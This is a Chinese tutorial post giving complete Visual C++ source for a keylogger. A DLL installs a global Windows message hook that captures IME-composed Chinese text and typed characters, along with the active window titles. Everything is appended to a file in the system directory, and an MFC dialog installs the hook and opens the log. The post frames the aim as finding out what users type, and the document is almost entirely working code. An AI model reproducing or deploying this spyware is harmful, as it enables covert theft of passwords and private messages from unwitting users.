基于Visual C++实现输入法拦截

 

我们想知道用户输入了什么吗，

那么我们可以拦截输入法吗，当然可以

我们先实现钩子

#include "windows.h"#include "imm.h"#include "stdio.h"//#define HOOK_API __declspec(dllexport) HHOOK        g_hHook            = NULL;        //hook句柄HINSTANCE  g_hHinstance    = NULL;        //程序句柄HWND         LastFocusWnd  = 0;//上一次句柄,必须使全局的HWND         FocusWnd;         //当前窗口句柄，必须使全局的  char title[256];              //获得窗口名字 char *ftemp;                //begin/end 写到文件里面char temptitle[256]="<<标题：";  //<<标题：窗口名字>>char t[2]={0,0};              //捕获单个字母void writefile(char *lpstr){//保存为文件FILE* f1;char cmd[256];GetSystemDirectory(cmd,256);    strcat(cmd,"\\hooktxt.txt");    f1=fopen(cmd,"a+");    fwrite(lpstr,strlen(lpstr),1,f1);    fclose(f1);}void writtitle(){//保存当前窗口FocusWnd = GetActiveWindow();if(LastFocusWnd != FocusWnd){ftemp="\n---------End----------\n";writefile(ftemp);ftemp="\n--------begin---------\n";writefile(ftemp);GetWindowText(FocusWnd, title, 256);  //当前窗口标题LastFocusWnd = FocusWnd;strcat(temptitle,title);strcat(temptitle,">>\n");writefile(temptitle);}}LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam){     PMSG pmsg = (PMSG)lParam;    if (nCode == HC_ACTION)    {        switch (pmsg->message)        {        case WM_IME_COMPOSITION:            {                HIMC hIMC;                HWND hWnd=pmsg->hwnd;                DWORD dwSize;                char lpstr[20];                if(pmsg->lParam & GCS_RESULTSTR)                {                    //先获取当前正在输入的窗口的输入法句柄                    hIMC = ImmGetContext(hWnd);                       // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.                    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);                    // 缓冲区大小要加上字符串的NULL结束符大小,                    //   考虑到UNICODE                    dwSize += sizeof(WCHAR);                    memset(lpstr, 0, 20);                    // 再调用一次.ImmGetCompositionString获取字符串                    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);                    //现在lpstr里面即是输入的汉字了。writtitle();                //保存当前窗口writefile(lpstr);           //保存为文件                    ImmReleaseContext(hWnd, hIMC);}            }            break;        case WM_CHAR:  //截获发向焦点窗口的键盘消息            {    char ch,str[10];    ch=(char)(pmsg->wParam);    if (ch>=32 && ch<=126)           //可见字符{ writtitle();t[0]=ch;writefile(t);}if (ch>=8 && ch<=31) //控制字符{switch(ch){    case 8:strcpy(str,"[退格]");break;    case 9:strcpy(str,"[TAB]");break;    case 13:strcpy(str,"[Enter]");break;default:strcpy(str,"n");}if (strcmp(str,"n")){writtitle();    writefile(str);}}}            break;        }    }LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);     return(lResult);}//HOOK_API BOOL InstallHook()BOOL InstallHook(){    g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);    return TRUE;}//HOOK_API BOOL UnHook()BOOL UnHook(){           return UnhookWindowsHookEx(g_hHook);} BOOL APIENTRY DllMain( HANDLE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:        g_hHinstance=HINSTANCE(hModule);        break;    case DLL_THREAD_ATTACH:        break;    case DLL_THREAD_DETACH:        break;    case DLL_PROCESS_DETACH:        UnHook();        break;    }    return TRUE;}

然后实现接收钩子的信息

#include "stdafx.h"#include "testdll2.h"#include "testdll2Dlg.h"#ifdef _DEBUG#define new DEBUG_NEW#undef THIS_FILEstatic char THIS_FILE[] = __FILE__;#endiftypedef BOOL (*fun)();  //函数指针char s[256];/////////////////////////////////////////////////////////////////////////////// CTestdll2Dlg dialogCTestdll2Dlg::CTestdll2Dlg(CWnd* pParent /*=NULL*/): CDialog(CTestdll2Dlg::IDD, pParent){//{{AFX_DATA_INIT(CTestdll2Dlg)// NOTE: the ClassWizard will add member initialization here//}}AFX_DATA_INIT// Note that LoadIcon does not require a subsequent DestroyIcon in Win32m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);}void CTestdll2Dlg::DoDataExchange(CDataExchange* pDX){CDialog::DoDataExchange(pDX);//{{AFX_DATA_MAP(CTestdll2Dlg)// NOTE: the ClassWizard will add DDX and DDV calls here//}}AFX_DATA_MAP}BEGIN_MESSAGE_MAP(CTestdll2Dlg, CDialog)//{{AFX_MSG_MAP(CTestdll2Dlg)ON_WM_PAINT()ON_WM_QUERYDRAGICON()ON_BN_CLICKED(IDC_BUTTON1, OnButton1)ON_BN_CLICKED(IDC_BUTTON2, OnButton2)//}}AFX_MSG_MAPEND_MESSAGE_MAP()/////////////////////////////////////////////////////////////////////////////// CTestdll2Dlg message handlersBOOL CTestdll2Dlg::OnInitDialog(){CDialog::OnInitDialog();// Set the icon for this dialog.  The framework does this automatically//  when the application's main window is not a dialogSetIcon(m_hIcon, TRUE);// Set big iconSetIcon(m_hIcon, FALSE);// Set small icon    //得到系统目录GetSystemDirectory(s,256);strcat(s,"\\hooktxt.txt");SetDlgItemText(IDC_STATIC1,s);// TODO: Add extra initialization herereturn TRUE;  // return TRUE  unless you set the focus to a control}// If you add a minimize button to your dialog, you will need the code below//  to draw the icon.  For MFC applications using the document/view model,//  this is automatically done for you by the framework.void CTestdll2Dlg::OnPaint() {if (IsIconic()){CPaintDC dc(this); // device context for paintingSendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);// Center icon in client rectangleint cxIcon = GetSystemMetrics(SM_CXICON);int cyIcon = GetSystemMetrics(SM_CYICON);CRect rect;GetClientRect(&rect);int x = (rect.Width() - cxIcon + 1) / 2;int y = (rect.Height() - cyIcon + 1) / 2;// Draw the icondc.DrawIcon(x, y, m_hIcon);}else{CDialog::OnPaint();}}// The system calls this to obtain the cursor to display while the user drags//  the minimized window.HCURSOR CTestdll2Dlg::OnQueryDragIcon(){return (HCURSOR) m_hIcon;}void CTestdll2Dlg::OnButton1() {HINSTANCE h=LoadLibrary("dll2.dll");fun add=(fun)GetProcAddress(h,"InstallHook");add();}void CTestdll2Dlg::OnButton2() {ShellExecute(NULL,NULL ,s, NULL, NULL, SW_SHOWNORMAL);}